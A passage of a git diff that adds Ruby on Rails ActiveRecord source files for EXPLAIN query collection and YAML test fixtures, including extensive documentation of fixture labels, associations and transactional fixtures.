index 0000000..e65dab0
--- /dev/null
+++ b/activerecord/lib/active_record/explain.rb
@@ -0,0 +1,38 @@
+require 'active_support/lazy_load_hooks'
+require 'active_record/explain_registry'
+
+module ActiveRecord
+ module Explain
+ # Executes the block with the collect flag enabled. Queries are collected
+ # asynchronously by the subscriber and returned.
+ def collecting_queries_for_explain # :nodoc:
+ ExplainRegistry.collect = true
+ yield
+ ExplainRegistry.queries
+ ensure
+ ExplainRegistry.reset
+ end
+
+ # Makes the adapter execute EXPLAIN for the tuples of queries and bindings.
+ # Returns a formatted string ready to be logged.
+ def exec_explain(queries) # :nodoc:
+ str = queries.map do |sql, bind|
+ [].tap do |msg|
+ msg << "EXPLAIN for: #{sql}"
+ unless bind.empty?
+ bind_msg = bind.map {|col, val| [col.name, val]}.inspect
+ msg.last << " #{bind_msg}"
+ end
+ msg << connection.explain(sql, bind)
+ end.join("\n")
+ end.join("\n")
+
+ # Overriding inspect to be more human readable, specially in the console.
+ def str.inspect
+ self
+ end
+
+ str
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/explain_registry.rb b/activerecord/lib/active_record/explain_registry.rb
new file mode 100644
index 0000000..f5cd57e
--- /dev/null
+++ b/activerecord/lib/active_record/explain_registry.rb
@@ -0,0 +1,30 @@
+require 'active_support/per_thread_registry'
+
+module ActiveRecord
+ # This is a thread locals registry for EXPLAIN. For example
+ #
+ # ActiveRecord::ExplainRegistry.queries
+ #
+ # returns the collected queries local to the current thread.
+ #
+ # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+ # for further details.
+ class ExplainRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ attr_accessor :queries, :collect
+
+ def initialize
+ reset
+ end
+
+ def collect?
+ @collect
+ end
+
+ def reset
+ @collect = false
+ @queries = []
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/explain_subscriber.rb b/activerecord/lib/active_record/explain_subscriber.rb
new file mode 100644
index 0000000..a3bc56d
--- /dev/null
+++ b/activerecord/lib/active_record/explain_subscriber.rb
@@ -0,0 +1,29 @@
+require 'active_support/notifications'
+require 'active_record/explain_registry'
+
+module ActiveRecord
+ class ExplainSubscriber # :nodoc:
+ def start(name, id, payload)
+ # unused
+ end
+
+ def finish(name, id, payload)
+ if ExplainRegistry.collect? && !ignore_payload?(payload)
+ ExplainRegistry.queries << payload.values_at(:sql, :binds)
+ end
+ end
+
+ # SCHEMA queries cannot be EXPLAINed, also we do not want to run EXPLAIN on
+ # our own EXPLAINs now matter how loopingly beautiful that would be.
+ #
+ # On the other hand, we want to monitor the performance of our real database
+ # queries, not the performance of the access to the query cache.
+ IGNORED_PAYLOADS = %w(SCHEMA EXPLAIN CACHE)
+ EXPLAINED_SQLS = /\A\s*(select|update|delete|insert)/i
+ def ignore_payload?(payload)
+ payload[:exception] || IGNORED_PAYLOADS.include?(payload[:name]) || payload[:sql] !~ EXPLAINED_SQLS
+ end
+
+ ActiveSupport::Notifications.subscribe("sql.active_record", new)
+ end
+end
diff --git a/activerecord/lib/active_record/fixture_set/file.rb b/activerecord/lib/active_record/fixture_set/file.rb
new file mode 100644
index 0000000..fbd7a4d
--- /dev/null
+++ b/activerecord/lib/active_record/fixture_set/file.rb
@@ -0,0 +1,55 @@
+require 'erb'
+require 'yaml'
+
+module ActiveRecord
+ class FixtureSet
+ class File # :nodoc:
+ include Enumerable
+
+ ##
+ # Open a fixture file named +file+. When called with a block, the block
+ # is called with the filehandle and the filehandle is automatically closed
+ # when the block finishes.
+ def self.open(file)
+ x = new file
+ block_given? ? yield(x) : x
+ end
+
+ def initialize(file)
+ @file = file
+ @rows = nil
+ end
+
+ def each(&block)
+ rows.each(&block)
+ end
+
+
+ private
+ def rows
+ return @rows if @rows
+
+ begin
+ data = YAML.load(render(IO.read(@file)))
+ rescue ArgumentError, Psych::SyntaxError => error
+ raise Fixture::FormatError, "a YAML error occurred parsing #{@file}. Please note that YAML must be consistently indented using spaces. Tabs are not allowed. Please have a look at http://www.yaml.org/faq.html\nThe exact error was:\n #{error.class}: #{error}", error.backtrace
+ end
+ @rows = data ? validate(data).to_a : []
+ end
+
+ def render(content)
+ ERB.new(content).result
+ end
+
+ # Validate our unmarshalled data.
+ def validate(data)
+ unless Hash === data || YAML::Omap === data
+ raise Fixture::FormatError, 'fixture is not a hash'
+ end
+
+ raise Fixture::FormatError unless data.all? { |name, row| Hash === row }
+ data
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/fixtures.rb b/activerecord/lib/active_record/fixtures.rb
new file mode 100644
index 0000000..45dc26f
--- /dev/null
+++ b/activerecord/lib/active_record/fixtures.rb
@@ -0,0 +1,926 @@
+require 'erb'
+require 'yaml'
+require 'zlib'
+require 'active_support/dependencies'
+require 'active_record/fixture_set/file'
+require 'active_record/errors'
+
+module ActiveRecord
+ class FixtureClassNotFound < ActiveRecord::ActiveRecordError #:nodoc:
+ end
+
+ # \Fixtures are a way of organizing data that you want to test against; in short, sample data.
+ #
+ # They are stored in YAML files, one file per model, which are placed in the directory
+ # appointed by <tt>ActiveSupport::TestCase.fixture_path=(path)</tt> (this is automatically
+ # configured for Rails, so you can just put your files in <tt><your-rails-app>/test/fixtures/</tt>).
+ # The fixture file ends with the <tt>.yml</tt> file extension (Rails example:
+ # <tt><your-rails-app>/test/fixtures/web_sites.yml</tt>). The format of a fixture file looks
+ # like this:
+ #
+ # rubyonrails:
+ # id: 1
+ # name: Ruby on Rails
+ # url: http://www.rubyonrails.org
+ #
+ # google:
+ # id: 2
+ # name: Google
+ # url: http://www.google.com
+ #
+ # This fixture file includes two fixtures. Each YAML fixture (ie. record) is given a name and
+ # is followed by an indented list of key/value pairs in the "key: value" format. Records are
+ # separated by a blank line for your viewing pleasure.
+ #
+ # Note that fixtures are unordered. If you want ordered fixtures, use the omap YAML type.
+ # See http://yaml.org/type/omap.html
+ # for the specification. You will need ordered fixtures when you have foreign key constraints
+ # on keys in the same table. This is commonly needed for tree structures. Example:
+ #
+ # --- !omap
+ # - parent:
+ # id: 1
+ # parent_id: NULL
+ # title: Parent
+ # - child:
+ # id: 2
+ # parent_id: 1
+ # title: Child
+ #
+ # = Using Fixtures in Test Cases
+ #
+ # Since fixtures are a testing construct, we use them in our unit and functional tests. There
+ # are two ways to use the fixtures, but first let's take a look at a sample unit test:
+ #
+ # require 'test_helper'
+ #
+ # class WebSiteTest < ActiveSupport::TestCase
+ # test "web_site_count" do
+ # assert_equal 2, WebSite.count
+ # end
+ # end
+ #
+ # By default, <tt>test_helper.rb</tt> will load all of your fixtures into your test database,
+ # so this test will succeed.
+ #
+ # The testing environment will automatically load the all fixtures into the database before each
+ # test. To ensure consistent data, the environment deletes the fixtures before running the load.
+ #
+ # In addition to being available in the database, the fixture's data may also be accessed by
+ # using a special dynamic method, which has the same name as the model, and accepts the
+ # name of the fixture to instantiate:
+ #
+ # test "find" do
+ # assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
+ # end
+ #
+ # Alternatively, you may enable auto-instantiation of the fixture data. For instance, take the
+ # following tests:
+ #
+ # test "find_alt_method_1" do
+ # assert_equal "Ruby on Rails", @web_sites['rubyonrails']['name']
+ # end
+ #
+ # test "find_alt_method_2" do
+ # assert_equal "Ruby on Rails", @rubyonrails.name
+ # end
+ #
+ # In order to use these methods to access fixtured data within your testcases, you must specify one of the
+ # following in your <tt>ActiveSupport::TestCase</tt>-derived class:
+ #
+ # - to fully enable instantiated fixtures (enable alternate methods #1 and #2 above)
+ # self.use_instantiated_fixtures = true
+ #
+ # - create only the hash for the fixtures, do not 'find' each instance (enable alternate method #1 only)
+ # self.use_instantiated_fixtures = :no_instances
+ #
+ # Using either of these alternate methods incurs a performance hit, as the fixtured data must be fully
+ # traversed in the database to create the fixture hash and/or instance variables. This is expensive for
+ # large sets of fixtured data.
+ #
+ # = Dynamic fixtures with ERB
+ #
+ # Some times you don't care about the content of the fixtures as much as you care about the volume.
+ # In these cases, you can mix ERB in with your YAML fixtures to create a bunch of fixtures for load
+ # testing, like:
+ #
+ # <% 1.upto(1000) do |i| %>
+ # fix_<%= i %>:
+ # id: <%= i %>
+ # name: guy_<%= 1 %>
+ # <% end %>
+ #
+ # This will create 1000 very simple fixtures.
+ #
+ # Using ERB, you can also inject dynamic values into your fixtures with inserts like
+ # <tt><%= Date.today.strftime("%Y-%m-%d") %></tt>.
+ # This is however a feature to be used with some caution. The point of fixtures are that they're
+ # stable units of predictable sample data. If you feel that you need to inject dynamic values, then
+ # perhaps you should reexamine whether your application is properly testable. Hence, dynamic values
+ # in fixtures are to be considered a code smell.
+ #
+ # = Transactional Fixtures
+ #
+ # Test cases can use begin+rollback to isolate their changes to the database instead of having to
+ # delete+insert for every test case.
+ #
+ # class FooTest < ActiveSupport::TestCase
+ # self.use_transactional_fixtures = true
+ #
+ # test "godzilla" do
+ # assert !Foo.all.empty?
+ # Foo.destroy_all
+ # assert Foo.all.empty?
+ # end
+ #
+ # test "godzilla aftermath" do
+ # assert !Foo.all.empty?
+ # end
+ # end
+ #
+ # If you preload your test database with all fixture data (probably in the rake task) and use
+ # transactional fixtures, then you may omit all fixtures declarations in your test cases since
+ # all the data's already there and every case rolls back its changes.
+ #
+ # In order to use instantiated fixtures with preloaded data, set +self.pre_loaded_fixtures+ to
+ # true. This will provide access to fixture data for every table that has been loaded through
+ # fixtures (depending on the value of +use_instantiated_fixtures+).
+ #
+ # When *not* to use transactional fixtures:
+ #
+ # 1. You're testing whether a transaction works correctly. Nested transactions don't commit until
+ # all parent transactions commit, particularly, the fixtures transaction which is begun in setup
+ # and rolled back in teardown. Thus, you won't be able to verify
+ # the results of your transaction until Active Record supports nested transactions or savepoints (in progress).
+ # 2. Your database does not support transactions. Every Active Record database supports transactions except MySQL MyISAM.
+ # Use InnoDB, MaxDB, or NDB instead.
+ #
+ # = Advanced Fixtures
+ #
+ # Fixtures that don't specify an ID get some extra features:
+ #
+ # * Stable, autogenerated IDs
+ # * Label references for associations (belongs_to, has_one, has_many)
+ # * HABTM associations as inline lists
+ # * Autofilled timestamp columns
+ # * Fixture label interpolation
+ # * Support for YAML defaults
+ #
+ # == Stable, Autogenerated IDs
+ #
+ # Here, have a monkey fixture:
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ #
+ # reginald:
+ # id: 2
+ # name: Reginald the Pirate
+ #
+ # Each of these fixtures has two unique identifiers: one for the database
+ # and one for the humans. Why don't we generate the primary key instead?
+ # Hashing each fixture's label yields a consistent ID:
+ #
+ # george: # generated id: 503576764
+ # name: George the Monkey
+ #
+ # reginald: # generated id: 324201669
+ # name: Reginald the Pirate
+ #
+ # Active Record looks at the fixture's model class, discovers the correct
+ # primary key, and generates it right before inserting the fixture
+ # into the database.
+ #
+ # The generated ID for a given label is constant, so we can discover
+ # any fixture's ID without loading anything, as long as we know the label.
+ #
+ # == Label references for associations (belongs_to, has_one, has_many)
+ #
+ # Specifying foreign keys in fixtures can be very fragile, not to
+ # mention difficult to read. Since Active Record can figure out the ID of
+ # any fixture from its label, you can specify FK's by label instead of ID.
+ #
+ # === belongs_to
+ #
+ # Let's break out some more monkeys and pirates.
+ #
+ # ### in pirates.yml
+ #
+ # reginald:
+ # id: 1
+ # name: Reginald the Pirate
+ # monkey_id: 1
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ # pirate_id: 1
+ #
+ # Add a few more monkeys and pirates and break this into multiple files,
+ # and it gets pretty hard to keep track of what's going on. Let's
+ # use labels instead of IDs:
+ #
+ # ### in pirates.yml
+ #
+ # reginald:
+ # name: Reginald the Pirate
+ # monkey: george
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # name: George the Monkey
+ # pirate: reginald
+ #
+ # Pow! All is made clear. Active Record reflects on the fixture's model class,
+ # finds all the +belongs_to+ associations, and allows you to specify
+ # a target *label* for the *association* (monkey: george) rather than
+ # a target *id* for the *FK* (<tt>monkey_id: 1</tt>).
+ #
+ # ==== Polymorphic belongs_to
+ #
+ # Supporting polymorphic relationships is a little bit more complicated, since
+ # Active Record needs to know what type your association is pointing at. Something
+ # like this should look familiar:
+ #
+ # ### in fruit.rb
+ #
+ # belongs_to :eater, polymorphic: true
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # id: 1
+ # name: apple
+ # eater_id: 1
+ # eater_type: Monkey
+ #
+ # Can we do better? You bet!
+ #
+ # apple:
+ # eater: george (Monkey)
+ #
+ # Just provide the polymorphic target type and Active Record will take care of the rest.
+ #
+ # === has_and_belongs_to_many
+ #
+ # Time to give our monkey some fruit.
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # id: 1
+ # name: apple
+ #
+ # orange:
+ # id: 2
+ # name: orange
+ #
+ # grape:
+ # id: 3
+ # name: grape
+ #
+ # ### in fruits_monkeys.yml
+ #
+ # apple_george:
+ # fruit_id: 1
+ # monkey_id: 1
+ #
+ # orange_george:
+ # fruit_id: 2
+ # monkey_id: 1
+ #
+ # grape_george:
+ # fruit_id: 3
+ # monkey_id: 1
+ #
+ # Let's make the HABTM fixture go away.
+ #
+ # ### in monkeys.yml
+ #
+ # george:
+ # id: 1
+ # name: George the Monkey
+ # fruits: apple, orange, grape
+ #
+ # ### in fruits.yml
+ #
+ # apple:
+ # name: apple
+ #
+ # orange:
+ # name: orange
+ #
+ # grape:
+ # name: grape
+ #
+ # Zap! No more fruits_monkeys.yml file. We've specified the list of fruits
+ # on George's fixture, but we could've just as easily specified a list
+ # of monkeys on each fruit. As with +belongs_to+, Active Record reflects on
+ # the fixture's model class and discovers the +has_and_belongs_to_many+
+ # associations.
+ #
+ # == Autofilled Timestamp Columns
+ #
+ # If your table/model specifies any of Active Record's
+ # standard timestamp columns (+created_at+, +created_on+, +updated_at+, +updated_on+),
+ # they will automatically be set to <tt>Time.now</tt>.
+ #
+ # If you've set specific values, they'll be left alone.
+ #
+ # == Fixture label interpolation
+ #
+ # The label of the current fixture is always available as a column value:
+ #
+ # geeksomnia:
+ # name: Geeksomnia's Account
+ # subdomain: $LABEL
+ #
+ # Also, sometimes (like when porting older join table fixtures) you'll need
+ # to be able to get a hold of the identifier for a given label. ERB
+ # to the rescue:
+ #
+ # george_reginald:
+ # monkey_id: <%= ActiveRecord::FixtureSet.identify(:reginald) %>
+ # pirate_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
+ #
+ # == Support for YAML defaults
+ #
+ # You probably already know how to use YAML to set and reuse defaults in
+ # your <tt>database.yml</tt> file. You can use the same technique in your fixtures:
+ #
+ # DEFAULTS: &DEFAULTS
+ # created_on: <%= 3.weeks.ago.to_s(:db) %>
+ #
+ # first:
+ # name: Smurf
+ # <<: *DEFAULTS
+ #
+ # second:
+ # name: Fraggle
+ # <<: *DEFAULTS
+ #
+ # Any fixture labeled "DEFAULTS" is safely ignored.
+ class FixtureSet
+ #--
+ # An instance of FixtureSet is normally stored in a single YAML file and possibly in a folder with the same name.
+ #++
+
+ MAX_ID = 2 ** 30 - 1
+
+ @@all_cached_fixtures = Hash.new { |h,k| h[k] = {} }
+
+ def self.find_table_name(fixture_set_name) # :nodoc:
+ ActiveSupport::Deprecation.warn(
+ "ActiveRecord::Fixtures.find_table_name is deprecated and shall be removed from future releases. Use ActiveRecord::Fixtures.default_fixture_model_name instead.")
+ default_fixture_model_name(fixture_set_name)
+ end
+
+ def self.default_fixture_model_name(fixture_set_name) # :nodoc:
+ ActiveRecord::Base.pluralize_table_names ?
+ fixture_set_name.singularize.camelize :
+ fixture_set_name.camelize
+ end
+
+ def self.default_fixture_table_name(fixture_set_name) # :nodoc:
+ "#{ ActiveRecord::Base.table_name_prefix }"\
+ "#{ fixture_set_name.tr('/', '_') }"\
+ "#{ ActiveRecord::Base.table_name_suffix }".to_sym
+ end
+
+ def self.reset_cache
+ @@all_cached_fixtures.clear
+ end
+
+ def self.cache_for_connection(connection)
+ @@all_cached_fixtures[connection]
+ end
+
+ def self.fixture_is_cached?(connection, table_name)
+ cache_for_connection(connection)[table_name]
+ end
+
+ def self.cached_fixtures(connection, keys_to_fetch = nil)
+ if keys_to_fetch
+ cache_for_connection(connection).values_at(*keys_to_fetch)
+ else
+ cache_for_connection(connection).values
+ end
+ end
+
+ def self.cache_fixtures(connection, fixtures_map)
+ cache_for_connection(connection).update(fixtures_map)
+ end
+
+ def self.instantiate_fixtures(object, fixture_set, load_instances = true)
+ if load_instances
+ fixture_set.each do |fixture_name, fixture|
+ begin
+ object.instance_variable_set "@#{fixture_name}", fixture.find
+ rescue FixtureClassNotFound
+ nil
+ end
+ end
+ end
+ end
+
+ def self.instantiate_all_loaded_fixtures(object, load_instances = true)
+ all_loaded_fixtures.each_value do |fixture_set|
+ instantiate_fixtures(object, fixture_set, load_instances)
+ end
+ end
+
+ cattr_accessor :all_loaded_fixtures
+ self.all_loaded_fixtures = {}
+
+ def self.create_fixtures(fixtures_directory, fixture_set_names, class_names = {})
+ fixture_set_names = Array(fixture_set_names).map(&:to_s)
+ class_names = class_names.stringify_keys
+
+ # FIXME: Apparently JK uses this.
+ connection = block_given? ? yield : ActiveRecord::Base.connection
+
+ files_to_read = fixture_set_names.reject { |fs_name|
+ fixture_is_cached?(connection, fs_name)
+ }
+
+ unless files_to_read.empty?
+ connection.disable_referential_integrity do
+ fixtures_map = {}
+
+ fixture_sets = files_to_read.map do |fs_name|
+ fixtures_map[fs_name] = new( # ActiveRecord::FixtureSet.new
+ connection,
+ fs_name,
+ class_names[fs_name] || default_fixture_model_name(fs_name),
+ ::File.join(fixtures_directory, fs_name))
+ end
+
+ all_loaded_fixtures.update(fixtures_map)
+
+ connection.transaction(:requires_new => true) do
+ fixture_sets.each do |fs|
+ conn = fs.model_class.respond_to?(:connection) ? fs.model_class.connection : connection
+ table_rows = fs.table_rows
+
+ table_rows.keys.each do |table|
+ conn.delete "DELETE FROM #{conn.quote_table_name(table)}", 'Fixture Delete'
+ end
+
+ table_rows.each do |fixture_set_name, rows|
+ rows.each do |row|
+ conn.insert_fixture(row, fixture_set_name)
+ end
+ end
+ end
+
+ # Cap primary key sequences to max(pk).
+ if connection.respond_to?(:reset_pk_sequence!)
+ fixture_sets.each do |fs|
+ connection.reset_pk_sequence!(fs.table_name)
+ end
+ end
+ end
+
+ cache_fixtures(connection, fixtures_map)
+ end
+ end
+ cached_fixtures(connection, fixture_set_names)
+ end
+
+ # Returns a consistent, platform-independent identifier for +label+.
+ # Identifiers are positive integers less than 2^32.
+ def self.identify(label)
+ Zlib.crc32(label.to_s) % MAX_ID
+ end
+
+ attr_reader :table_name, :name, :fixtures, :model_class
+
+ def initialize(connection, name, class_name, path)
+ @fixtures = {} # Ordered hash
+ @name = name
+ @path = path
+
+ if class_name.is_a?(Class) # TODO: Should be an AR::Base type class, or any?
+ @model_class = class_name
+ else
+ @model_class = class_name.constantize rescue nil
+ end
+
+ @connection = ( model_class.respond_to?(:connection) ?
+ model_class.connection : connection )
+
+ @table_name = ( model_class.respond_to?(:table_name) ?
+ model_class.table_name :
+ self.class.default_fixture_table_name(name) )
+
+ read_fixture_files
+ end
+
+ def [](x)
+ fixtures[x]
+ end
+
+ def []=(k,v)
+ fixtures[k] = v
+ end
+
+ def each(&block)
+ fixtures.each(&block)
+ end
+
+ def size
+ fixtures.size
+ end
+
+ # Return a hash of rows to be inserted. The key is the table, the value is
+ # a list of rows to insert to that table.
+ def table_rows
+ now = ActiveRecord::Base.default_timezone == :utc ? Time.now.utc : Time.now
+ now = now.to_s(:db)
+
+ # allow a standard key to be used for doing defaults in YAML
+ fixtures.delete('DEFAULTS')
+
+ # track any join tables we need to insert later
+ rows = Hash.new { |h,table| h[table] = [] }
+
+ rows[table_name] = fixtures.map do |label, fixture|
+ row = fixture.to_hash
+
+ if model_class && model_class < ActiveRecord::Base
+ # fill in timestamp columns if they aren't specified and the model is set to record_timestamps
+ if model_class.record_timestamps
+ timestamp_column_names.each do |c_name|
+ row[c_name] = now unless row.key?(c_name)
+ end
+ end
+
+ # interpolate the fixture label
+ row.each do |key, value|
+ row[key] = label if value == "$LABEL"
+ end
+
+ # generate a primary key if necessary
+ if has_primary_key_column? && !row.include?(primary_key_name)
+ row[primary_key_name] = ActiveRecord::FixtureSet.identify(label)
+ end
+
+ # If STI is used, find the correct subclass for association reflection
+ reflection_class =
+ if row.include?(inheritance_column_name)
+ row[inheritance_column_name].constantize rescue model_class
+ else
+ model_class
+ end
+
+ reflection_class.reflect_on_all_associations.each do |association|
+ case association.macro
+ when :belongs_to
+ # Do not replace association name with association foreign key if they are named the same
+ fk_name = (association.options[:foreign_key] || "#{association.name}_id").to_s
+
+ if association.name.to_s != fk_name && value = row.delete(association.name.to_s)
+ if association.options[:polymorphic] && value.sub!(/\s*\(([^\)]*)\)\s*$/, "")
+ # support polymorphic belongs_to as "label (Type)"
+ row[association.foreign_type] = $1
+ end
+
+ row[fk_name] = ActiveRecord::FixtureSet.identify(value)
+ end
+ when :has_and_belongs_to_many
+ if (targets = row.delete(association.name.to_s))
+ targets = targets.is_a?(Array) ? targets : targets.split(/\s*,\s*/)
+ table_name = association.join_table
+ rows[table_name].concat targets.map { |target|
+ { association.foreign_key => row[primary_key_name],
+ association.association_foreign_key => ActiveRecord::FixtureSet.identify(target) }
+ }
+ end
+ end
+ end
+ end
+
+ row
+ end
+ rows
+ end
+
+ private
+ def primary_key_name
+ @primary_key_name ||= model_class && model_class.primary_key
+ end
+
+ def has_primary_key_column?
+ @has_primary_key_column ||= primary_key_name &&
+ model_class.columns.any? { |c| c.name == primary_key_name }
+ end
+
+ def timestamp_column_names
+ @timestamp_column_names ||=
+ %w(created_at created_on updated_at updated_on) & column_names
+ end
+
+ def inheritance_column_name
+ @inheritance_column_name ||= model_class && model_class.inheritance_column
+ end
+
+ def column_names
+ @column_names ||= @connection.columns(@table_name).collect { |c| c.name }
+ end
+
+ def read_fixture_files
+ yaml_files = Dir["#{@path}/**/*.yml"].select { |f|
+ ::File.file?(f)
+ } + [yaml_file_path]
+
+ yaml_files.each do |file|
+ FixtureSet::File.open(file) do |fh|
+ fh.each do |fixture_name, row|
+ fixtures[fixture_name] = ActiveRecord::Fixture.new(row, model_class)
+ end
+ end
+ end
+ end
+
+ def yaml_file_path
+ "#{@path}.yml"
+ end
+
+ end
+
+ #--
+ # Deprecate 'Fixtures' in favor of 'FixtureSet'.
+ #++
+ # :nodoc:
+ Fixtures = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('ActiveRecord::Fixtures', 'ActiveRecord::FixtureSet')
+
+ class Fixture #:nodoc:
+ include Enumerable
+
+ class FixtureError < StandardError #:nodoc:
+ end
+
+ class FormatError < FixtureError #:nodoc:
+ end
+
+ attr_reader :model_class, :fixture
+
+ def initialize(fixture, model_class)
+ @fixture = fixture
+ @model_class = model_class
+ end
+
+ def class_name
+ model_class.name if model_class
+ end
+
+ def each
+ fixture.each { |item| yield item }
+ end
+
+ def [](key)
+ fixture[key]
+ end
+
+ alias :to_hash :fixture
+
+ def find
+ if model_class
+ model_class.find(fixture[model_class.primary_key])
+ else
+ raise FixtureClassNotFound, "No class attached to find."
+ end
+ end
+ end
+end
+
+module ActiveRecord
+ module TestFixtures
+ extend ActiveSupport::Concern
+
+ def before_setup
+ setup_fixtures
+ super
+ end
+
+ def after_teardown
+ super
+ teardown_fixtures
+ end
+
+ included do
+ class_attribute :fixture_path, :instance_writer => false
+ class_attribute :fixture_table_names
+ class_attribute :fixture_class_names
+ class_attribute :use_transactional_fixtures
+ class_attribute :use_instantiated_fixtures # true, false, or :no_instances
+ class_attribute :pre_loaded_fixtures
+
+ self.fixture_table_names = []
+ self.use_transactional_fixtures = true
+ self.use_instantiated_fixtures = false
+ self.pre_loaded_fixtures = false
+
+ self.fixture_class_names = Hash.new do |h, fixture_set_name|
+ h[fixture_set_name] = ActiveRecord::FixtureSet.default_fixture_model_name(fixture_set_name)
+ end
+ end
+
+ module ClassMethods
+ # Sets the model class for a fixture when the class name cannot be inferred from the fixture name.
+ #
+ # Examples:
+ #
+ # set_fixture_class some_fixture: SomeModel,
+ # 'namespaced/fixture' => Another::Model
+ #
+ # The keys must be the fixture names, that coincide with the short paths to the fixture files.
+ #--
+ # It is also possible to pass the class name instead of the class:
+ # set_fixture_class 'some_fixture' => 'SomeModel'
+ # I think this option is redundant, i propose to deprecate it.
+ # Isn't it easier to always pass the class itself?
+ # (2011-12-20 alexeymuranov)
+ #++
+ def set_fixture_class(class_names = {})
+ self.fixture_class_names = self.fixture_class_names.merge(class_names.stringify_keys)
+ end
+
+ def fixtures(*fixture_set_names)
+ if fixture_set_names.first == :all
+ fixture_set_names = Dir["#{fixture_path}/**/*.{yml}"]
+ fixture_set_names.map! { |f| f[(fixture_path.to_s.size + 1)..-5] }
+ else
+ fixture_set_names = fixture_set_names.flatten.map { |n| n.to_s }
+ end
+
+ self.fixture_table_names |= fixture_set_names
+ require_fixture_classes(fixture_set_names)
+ setup_fixture_accessors(fixture_set_names)
+ end
+
+ def try_to_load_dependency(file_name)
+ require_dependency file_name
+ rescue LoadError => e
+ # Let's hope the developer has included it
+ # Let's warn in case this is a subdependency, otherwise
+ # subdependency error messages are totally cryptic
+ if ActiveRecord::Base.logger
+ ActiveRecord::Base.logger.warn("Unable to load #{file_name}, underlying cause #{e.message} \n\n #{e.backtrace.join("\n")}")
+ end
+ end
+
+ def require_fixture_classes(fixture_set_names = nil)
+ if fixture_set_names
+ fixture_set_names = fixture_set_names.map { |n| n.to_s }
+ else
+ fixture_set_names = fixture_table_names
+ end
+
+ fixture_set_names.each do |file_name|
+ file_name = file_name.singularize if ActiveRecord::Base.pluralize_table_names
+ try_to_load_dependency(file_name)
+ end
+ end
+
+ def setup_fixture_accessors(fixture_set_names = nil)
+ fixture_set_names = Array(fixture_set_names || fixture_table_names)
+ methods = Module.new do
+ fixture_set_names.each do |fs_name|
+ fs_name = fs_name.to_s
+ accessor_name = fs_name.tr('/', '_').to_sym
+
+ define_method(accessor_name) do |*fixture_names|
+ force_reload = fixture_names.pop if fixture_names.last == true || fixture_names.last == :reload
+
+ @fixture_cache[fs_name] ||= {}
+
+ instances = fixture_names.map do |f_name|
+ f_name = f_name.to_s
+ @fixture_cache[fs_name].delete(f_name) if force_reload
+
+ if @loaded_fixtures[fs_name][f_name]
+ @fixture_cache[fs_name][f_name] ||= @loaded_fixtures[fs_name][f_name].find
+ else
+ raise StandardError, "No fixture named '#{f_name}' found for fixture set '#{fs_name}'"
+ end
+ end
+
+ instances.size == 1 ? instances.first : instances
+ end
+ private accessor_name
+ end
+ end
+ include methods
+ end
+
+ def uses_transaction(*methods)
+ @uses_transaction = [] unless defined?(@uses_transaction)
+ @uses_transaction.concat methods.map { |m| m.to_s }
+ end
+
+ def uses_transaction?(method)
+ @uses_transaction = [] unless defined?(@uses_transaction)
+ @uses_transaction.include?(method.to_s)
+ end
+ end
+
+ def run_in_transaction?
+ use_transactional_fixtures &&
+ !self.class.uses_transaction?(method_name)
+ end
+
+ def setup_fixtures
+ return if ActiveRecord::Base.configurations.blank?
+
+ if pre_loaded_fixtures && !use_transactional_fixtures
+ raise RuntimeError, 'pre_loaded_fixtures requires use_transactional_fixtures'
+ end
+
+ @fixture_cache = {}
+ @fixture_connections = []
+ @@already_loaded_fixtures ||= {}
+
+ # Load fixtures once and begin transaction.
+ if run_in_transaction?
+ if @@already_loaded_fixtures[self.class]
+ @loaded_fixtures = @@already_loaded_fixtures[self.class]
+ else
+ @loaded_fixtures = load_fixtures
+ @@already_loaded_fixtures[self.class] = @loaded_fixtures
+ end
+ @fixture_connections = enlist_fixture_connections
+ @fixture_connections.each do |connection|
+ connection.begin_transaction joinable: false
+ end
+ # Load fixtures for every test.
+ else
+ ActiveRecord::FixtureSet.reset_cache
+ @@already_loaded_fixtures[self.class] = nil
+ @loaded_fixtures = load_fixtures
+ end
+
+ # Instantiate fixtures for every test if requested.
+ instantiate_fixtures if use_instantiated_fixtures
+ end
+
+ def teardown_fixtures
+ return if ActiveRecord::Base.configurations.blank?
+
+ # Rollback changes if a transaction is active.
+ if run_in_transaction?
+ @fixture_connections.each do |connection|
+ connection.rollback_transaction if connection.transaction_open?
+ end
+ @fixture_connections.clear
+ else
+ ActiveRecord::FixtureSet.reset_cache
+ end
+
+ ActiveRecord::Base.clear_active_connections!
+ end
+
+ def enlist_fixture_connections
+ ActiveRecord::Base.connection_handler.connection_pool_list.map(&:connection)
+ end
+
+ private
+ def load_fixtures
+ fixtures = ActiveRecord::FixtureSet.create_fixtures(fixture_path, fixture_table_names, fixture_class_names)
+ Hash[fixtures.map { |f| [f.name, f] }]
+ end
+
+ # for pre_loaded_fixtures, only require the classes once. huge speed improvement
+ @@required_fixture_classes = false
+
+ def instantiate_fixtures
+ if pre_loaded_fixtures
+ raise RuntimeError, 'Load fixtures before instantiating them.' if ActiveRecord::FixtureSet.all_loaded_fixtures.empty?
+ unless @@required_fixture_classes
+ self.class.require_fixture_classes ActiveRecord::FixtureSet.all_loaded_fixtures.keys
+ @@required_fixture_classes = true
+ end
+ ActiveRecord::FixtureSet.instantiate_all_loaded_fixtures(self, load_instances?)
+ else
+ raise RuntimeError, 'Load fixtures before instantiating them.' if @loaded_fixtures.nil?
+ @loaded_fixtures.each_value do |fixture_set|
+ ActiveRecord::FixtureSet.instantiate_fixtures(self, fixture_set, load_instances?)
+ end
+ end
+ end
+
+ def load_instances?
+ use_instantiated_fixtures != :no_instances
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/inheritance.rb b/activerecord/lib/active_record/inheritance.rb
new file mode 100644
index 0000000..8df76c7
--- /dev/null
+++ b/activerecord/lib/active_record/inheritance.rb
